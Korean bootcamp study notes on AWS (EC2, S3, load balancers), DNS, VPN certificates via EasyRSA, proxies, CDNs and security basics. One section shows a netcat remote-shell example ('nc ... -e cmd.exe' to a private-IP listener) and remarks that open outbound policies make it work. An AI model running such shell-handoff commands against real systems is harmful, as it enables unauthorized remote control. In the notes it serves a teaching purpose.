
부트캠프에서 배운 내용을 정리한 글입니다.
Amazon Elastic Compute Cloud
EC2는 AWS에서 가상 서버를 제공하는 서비스이다.
EC2는 AWS가 제공하는 가상 서버 서비스 전체를 의미하며 인스턴스는 EC2 안에서 돌아가는 하나의 가상 서버다.


고급 → 상속 삭제 → 편집을 통해 사용자만 추가다운로드한 SSH 프라이빗 키는 절대 다른 사용자나 시스템 계정이 읽을 수 없어야 하기 때문이다.
오직 본인만 읽기 가능하며 다른 사용자/그룹/서비스 계정은 읽기 금지, 상속으로 인해 권한이 누출될 위험을 제거하기 위해 상위 폴더 권한을 모두 끊어서 해당 파일만 독립적인 권한 구조를 갖도록 분리한다.
간단한 실습에서는 그냥 키 보관만 잘하고 저렇게까지 권한 설정할 필요는 없지만 보안을 생각한다면 당연히 해야할 필수 작업이다.

실행 중인 인스턴스 확인 후 퍼블릭 IPv4에 다운받은 키값을 넣어서 원격 접속

ssh 계정명@공인 IP -i 키경로/키파일명 으로 ssh 접속.
OS는 디스크라는 저장공간을 이용하기 위해서 파일시스템을 사용한다.
OS가 디스크를 파일과 디렉토리라는 논리 구조로 변환하여 관리하는 소프트웨어 계층. 디스크는 바이트 집합이고 파일시스템은 의미를 부여한다.
파일시스템은 크게 5가지의 역할을 한다.
디스크 조각(블록)을 직접 다루는 방식. OS는 디스크를 일정 크기의 블록 단위로 나눠서 관리하는데 NTFS 등의 파일시스템이 이 블록을 조합해 파일을 구성한다. OS는 이를 /dev/sda1, C: 드라이브 같은 로컬 디스크처럼 인식한다.
파일/폴더를 네트워크로 공유하는 방식. 내부적으로는 블록스토리지를 사용하여 파일시스템 위에서 동작한다.
파일도 아니고 블록도 아니며 메타데이터에 데이터(오브젝트)를 키로 저장하는 분산 저장 시스템. 파일시스템, POSIX 규칙, 디렉토리도 없다.
마운트해서 드라이브처럼 사용할 수 있지만 파일시스템처럼 보이도록 중간에서 변환해서 사용하는 것이다. 실제로는 내부에 파일시스템이 없고 키와 값 오브젝트만 존재한다.
S3(Simple Storage Service)는 AWS가 제공하는 오브젝트 스토리지로 파일시스템이 없는 분산 스토리지다.
S3의 핵심 내부 구조는 다음과 같다.
핵심 특징은 다음과 같다.
쓰기 지연이 큰 작업, 주기적 업로드/다운로드 형태가 적합하며 DB, VM이나 OS의 디스크, 실시간 파일 시스템 등의 작업에는 적합하지 않다.
S3 접근은 모두 DNS 기반 엔드포인트로 이루어지며 VPC 내부 DNS가 자동으로 캐싱과 라우팅을 담당한다. 따라서 클라우드 환경에서는 별도의 DNS 캐싱 서버를 둘 필요가 없다.
내부 단말 1만 대가 같은 외부 도메인을 조회한다고 가정하면, 다음의 두 가지 경우로 나뉠 수 있다.
DNS는 기본적으로 Recursive 조회를 수행하는데 PC가 DNS 요청을 보내면 DNS 캐시가 없는 경우 긴 과정을 거치면서 느리고 많은 네트워크를 거친다. 이 요청은 많아질수록 비용이 증가한다.
캐싱 서버는 이 체인을 내부에서 단 한 번만 수행하게 되며 이후 TTL 동안은 캐시를 재사용하고 외부 DNS 쿼리가 발생하지 않는다.

AWS내부에서 쉘을 열어서 아래의 명령어를 입력한다.
aws s3api list-buckets --query "Owner.ID"

버킷을 생성하고

객체를 업로드하였다.

그리고 해당 URL로 접근했다.

권한부여가 되어있지 않기 때문에 접근이 거부되었다.

이를 이렇게 퍼블릭으로 오픈해버리면 스캔이나 크롤링 당해서 URL로 버킷이 노출될 수 있다.

# 서버측
netcat-win32-1.12 > nc.exe -l -p <포트 번호>
# 예시
> ipconfig
Windows IP 구성
이더넷 어댑터 이더넷:
IPv4 주소 . . . . . . . . . : 192.168.10.1
netcat-win32-1.12 > nc.exe -l -p 1234
# 클라이언트측
nc <서버측 ip 주소> <포트 번호> -e cmd.exe
# 예시
nc 192.168.10.1 1234 -e cmd.exe
내부에서 외부로의 보안 정책이 대부분의 시스템에서 anywhere인 것을 이용
기존 포트와 IP 기반의 인스펙션 방식의 방화벽의 취약함과 VPN과 제로트러스트로 서두를 열고 과거에 있었던 pptp l2tp의 2계층 터널링 방식.
백신의 시그니처 탐지 방식에서 오는 단점을 극복하기 위한 SIEM과 EDR 방식의 보안 솔루션
강의자료의 ENSA_Module_8 pptx에서..
IPSec에서 AH, ESP, AH+ESP
무결성에서 MD5 알고리즘은 취약하다는 것이 검증되었으며 sha-256이 현재 사용된다. 다운로드 파일에서 볼 수 있는 sha256:** fe23d4a7e57...e807c0802c 이런 것들이 그 예이다.
Microsoft Windows [Version 10.0.26200.6899]
(c) Microsoft Corporation. All rights reserved.
C:\Users\idea9\Downloads\EasyRSA-3.2.4>dir
C 드라이브의 볼륨: OS
볼륨 일련 번호: 7812-D621
C:\Users\idea9\Downloads\EasyRSA-3.2.4 디렉터리
2025-10-24 오후 04:31 <DIR> .
2025-10-24 오후 05:21 <DIR> ..
2025-08-27 오후 09:28 <DIR> bin
2025-08-27 오후 09:28 26,118 ChangeLog
2025-08-27 오후 09:28 1,256 COPYING.html
2025-08-27 오후 09:28 1,305 COPYING.md
2025-10-27 오전 10:19 <DIR> custom_folder
2025-08-27 오후 09:28 <DIR> doc
2025-08-27 오후 09:28 186,505 easyrsa
2025-08-27 오후 09:28 52 EasyRSA-Start.bat
2025-08-27 오후 09:28 7,198,216 libcrypto-3-x64.dll
2025-08-27 오후 09:28 1,550,025 libssl-3-x64.dll
2025-08-27 오후 09:28 <DIR> Licensing
2025-08-27 오후 09:28 5,145 openssl-easyrsa.cnf
2025-08-27 오후 09:28 1,642,539 openssl.exe
2025-10-24 오후 04:31 <DIR> pki
2025-08-27 오후 09:28 4,256 README-Windows.txt
2025-08-27 오후 09:28 2,912 README.html
2025-08-27 오후 09:28 3,477 README.quickstart.html
2025-08-27 오후 09:28 9,039 vars.example
2025-08-27 오후 09:28 <DIR> x509-types
13개 파일 10,630,845 바이트
8개 디렉터리 252,422,565,888 바이트 남음
C:\Users\idea9\Downloads\EasyRSA-3.2.4>.\EasyRSA-Start.bat
Starting Easy-RSA shell..
WARNING: openvpn.exe is not in your system PATH.
EasyRSA will not be able to generate OpenVPN TLS keys.
Welcome to the EasyRSA 3 Shell for Windows.
Easy-RSA 3 is available under a GNU GPLv2 license.
Invoke 'easyrsa' to call the program. Without commands, help is displayed.
idea9@HCR-ZENBOOK C:/Users/idea9/Downloads/EasyRSA-3.2.4
EasyRSA-Shell: # ./easyrsa init-pki
WARNING!!!
You are about to remove the EASYRSA_PKI at:
* C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki
and initialize a fresh PKI here.
Type the word 'yes' to continue, or any other input to abort.
Confirm removal: yes
Notice
------
'init-pki' complete; you may now create a CA or requests.
Your newly created PKI dir is:
* C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki
Using Easy-RSA configuration:
* undefined
idea9@HCR-ZENBOOK C:/Users/idea9/Downloads/EasyRSA-3.2.4
EasyRSA-Shell: # ./easyrsa build-ca nopass
...+...........+.+......+..+.+............+.....+....+...+......+++++++++++++++++++++++++++++++++++++++*.............+............+..........+...+++++++++++++++++++++++++++++++++++++++*......+..........+..+...+....+...............+..+....+..+...+..........+......+...+...+........+............+...+.........+......+......+.+..................+.........+......+..+...+.+.........+.....+.+...+...+...+..............+.......+.....+...++++++
..........+...+..+...+...+++++++++++++++++++++++++++++++++++++++*....+.....+...+......+.......+..+.+...........+.+...+.....+......+++++++++++++++++++++++++++++++++++++++*.+....+........+...+...+......+....+.....+.......+.....+....+........+...+....+......+..+.+......+...+..+....+......+........+.+..+...+......+......+....+.........+.....+.......+.....+.......+..+................+..............++++++
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Common Name (eg: your user, host, or server name) [Easy-RSA CA]:hcr CA
Notice
------
CA creation complete. Your new CA certificate is at:
* C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/ca.crt
Build-ca completed successfully.
idea9@HCR-ZENBOOK C:/Users/idea9/Downloads/EasyRSA-3.2.4
EasyRSA-Shell: # ./easyrsa --san=DNS:hcr-server build-server-full hcr-server nopass
...+.........+......+.+..+.+..+++++++++++++++++++++++++++++++++++++++*..+....+..+.+....................+.........+++++++++++++++++++++++++++++++++++++++*..+............+...+...+.......+...+..+.......++++++
.....+....+......+......+.....+............+......+.+++++++++++++++++++++++++++++++++++++++*......+++++++++++++++++++++++++++++++++++++++*..........+.+..+....+........+..........+...+...+.........+..+...+.+...........+...+.+.....+..........+.....................+.....+.+........+....+..+...+............+....+..+.......+...+.................+.......+...+.....+......+.+.........+....................+....+..+.+.........+.........+..+............+...+....+...+........+............+...+...+.......+...+............+..+......+....+...+..+.......+.....+.+...+.....++++++
-----
Notice
------
Private-Key and Public-Certificate-Request files created.
Your files are:
* req: C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/reqs/hcr-server.req
* key: C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/private/hcr-server.key
You are about to sign the following certificate:
Requested CN: 'hcr-server'
Requested type: 'server'
Valid for: '825' days
subject=
commonName = hcr-server
X509v3 Subject Alternative Name:
DNS:hcr-server
Type the word 'yes' to continue, or any other input to abort.
Confirm requested details: yes
Using configuration from C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/d158fdc7/temp.02
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName :ASN.1 12:'hcr-server'
Certificate is to be certified until Jan 30 01:24:39 2028 GMT (825 days)
Write out database with 1 new entries
Database updated
WARNING
=======
INCOMPLETE Inline file created:
* C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/inline/private/hcr-server.inline
Notice
------
Certificate created at:
* C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/issued/hcr-server.crt
idea9@HCR-ZENBOOK C:/Users/idea9/Downloads/EasyRSA-3.2.4
EasyRSA-Shell: # ./easyrsa build-client-full hcr-client.domain.tld nopass
.+..+.......+...+..+....+..............+...+.......+..+......+++++++++++++++++++++++++++++++++++++++*.....+...+..+++++++++++++++++++++++++++++++++++++++*........+..+......+....+......+...+..+.......+...+..+.......+...........+.......+..+...+.......+...+..............................+.....+......+....+...........+.+....................+...+.+......+...+.....+......+.+.....+.+.....+.......+..+...+...+....+.........+..+....+...+...+..+...+.......+..+.+........+.+.....+.........+......+.........+.+......+..............+....+..+....+.....+........................+....+......+.....+.++++++
................+..+....+.........+..+......+.......+......+...............+++++++++++++++++++++++++++++++++++++++*...+...+...+......+....+..+...+....+..+.+..+.+..+....+...+..+......+....+++++++++++++++++++++++++++++++++++++++*..............+........+......+......+..................+.+........+.+..+....+...+....................++++++
-----
Notice
------
Private-Key and Public-Certificate-Request files created.
Your files are:
* req: C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/reqs/hcr-client.domain.tld.req
* key: C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/private/hcr-client.domain.tld.key
You are about to sign the following certificate:
Requested CN: 'hcr-client.domain.tld'
Requested type: 'client'
Valid for: '825' days
subject=
commonName = hcr-client.domain.tld
Type the word 'yes' to continue, or any other input to abort.
Confirm requested details: yes
Using configuration from C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/16490c7d/temp.02
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
commonName :ASN.1 12:'hcr-client.domain.tld'
Certificate is to be certified until Jan 30 01:25:18 2028 GMT (825 days)
Write out database with 1 new entries
Database updated
WARNING
=======
INCOMPLETE Inline file created:
* C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/inline/private/hcr-client.domain.tld.inline
Notice
------
Certificate created at:
* C:/Users/idea9/Downloads/EasyRSA-3.2.4/pki/issued/hcr-client.domain.tld.crt
idea9@HCR-ZENBOOK C:/Users/idea9/Downloads/EasyRSA-3.2.4
EasyRSA-Shell: # exit
C:\Users\idea9\Downloads\EasyRSA-3.2.4>




AWS 내부의 인스턴스를 사설 IP로 접속이 가능해진다.
백업과 스냅샷의 차이
예시로 윈도우의 볼륨 셰도우
기업 거버넌스에서 비중이 커지는 IT 거버넌스.
BCP와 DRP의 중요성에서 나온 Load Balancing
네트워크 리던던시(Redundancy)는 시스템 장애 발생 시 중단을 막기 위해 이중화하는 기술이며, 고가용성(High Availability, HA)을 확보하기 위한 핵심적인 요소이다. 이중화된 네트워크 장비, 예를 들어 라우터나 스위치를 구성하여 한쪽의 장애가 발생해도 다른 쪽으로 자동 전환(페일오버(Failover))하는 방식
온프레미스 환경에서 구축하려면 1억가까이 드는 기술을 클라우드 환경에서는 훨씬 싸게 구축 가능하다.
주요 구성 및 작동 방식
예시
L4 스위치에서 양단간 리스너를 만들고 서로 heartbeat 신호를 주고받으며 소프트웨어로 이중화 체크하는 구조.
타겟 그룹을 통한 로드밸런싱.

HA network는 L4 스위치 또는 L7 스위치(매우 고가)로 구성된다.
DNS를 통해 하나의 도메인에 IP를 두 개 이상부여하는 방식의 로드밸런싱
Forward Proxy와 Reverse Proxy
Forward Proxy를 이용한 중앙집중적 통제. HTTPS 연결 시 디크립션 장비를 통해 HTTPS를 까보는(?) 사내 망 구성.
HAProxy의 Reverse Proxy의 캐싱 기능의 이점.
Content Delivery Network, 콘텐츠 전송 네트워크
전 세계 사용자와 가까운 곳에서 콘텐츠를 제공하는 기술이 서버의 진짜 IP 주소를 감출 수 방식으로 악용된다. 대표적인 곳이 cloudflare. 근거리 CDN으로 이동 후 IP 풀에서 매핑해준다. 이러면 서버의 진짜 IP를 알기 힘들어진다.
Infrastructure as Code, 코드형 인프라
코드를 이용해 데이터 센터, 가상 머신, 네트워크 등을 자동으로 프로비저닝하고 관리하는 방식이다. 이 방식은 수동으로 인프라를 구성하는 대신 코드를 사용하여 동일하고 일관된 환경을 반복적으로 생성할 수 있게 하며, DevOps 방법론의 핵심 요소로, 수작업 오류를 줄이고 배포 시간을 단축하는 이점을 제공한다.
주요 특징
주요 도구
Ansible은 코드형 인프라스트럭처를 위한 오픈 소스 IT 자동화 도구로, 소프트웨어 프로비저닝, 구성 관리, 애플리케이션 배포 등을 자동화합니다. 별도의 에이전트 설치 없이 SSH를 통해 원격 호스트에 연결하여 작업하며, 사용자는 YAML 형식의 '플레이북'을 작성하여 여러 서버의 작업을 일괄적으로 관리할 수 있습니다.
주요 기능
주요 특징
작동 방식
이는 보안 점검 스크립트 과정에서 자주 사용된다.
CDN은 스트림이나 미디어 서비스에서 캐시를 제공하고 리다이렉트를 제공하기 위한 기능이지만, IP 주소를 노출시키지 않는 점 때문에 대부분의 불법 사이트에서 악용되고 있다.
nslookup을 통한 도메인 검색 → ip를 ipinfo에 검색 → securitytrails에 검색 → 해당 ip가 커버하고 있는 수 많은 도메인이 표시됨.

대상그룹 설정


로드밸런서 설정

같은 도메인을 새로고침할 때마다 인스턴스가 바뀌며 로드밸런싱이 되는 것을 확인.
자산은 보호해야 할 대상이다. 시스템, 네트워크, 데이터, 서비스 등 기업이나 기관 또는 개인에게서 가치가 있는 모든 것이다.
취약점은 자산에 존재하는 약점이다. 버그, misconfiguration, 보안 패치 미적용, 취약한 암호 등 공격자가 뚫을 수 있는 구멍이다.
노출은 취약점이 외부 공격자에게 보이는 상태다. 외부에서 접근 가능한 포트, 공개된 API Key, 잘못 설정되어 공개된 서비스 등 취약점이 공격자 눈에 보이는 상태이며 여기서부터는 공격 벡터다.
여기서부터 위협과 위험이 나뉜다.
위협이 가능성을 논한다면, 위험은 그 가능성이 실제로 미칠 피해의 정도를 논한다.
접근통제는 자산이 노출되거나 부적절하게 접근되는 것을 막기 위한 방어 수단이다.
접근 통제를 통해 공격자가 접근할 수 없도록 노출을 감소시키고 혹시 모를 취약점이 존재해도 외부에서의 접근을 거부하여 위험이 크게 감소할 수 있다. 또한 민감 정보에 대한 접근을 제한하여 내부자 위협과 혹시 모를 피해 확산을 막을 수 있다.

※ 본 글은 비영리적 목적에 한해 자유롭게 이용 가능합니다. 단, 동일한 라이선스를 적용해야 하며, 상업적 이용은 금지됩니다.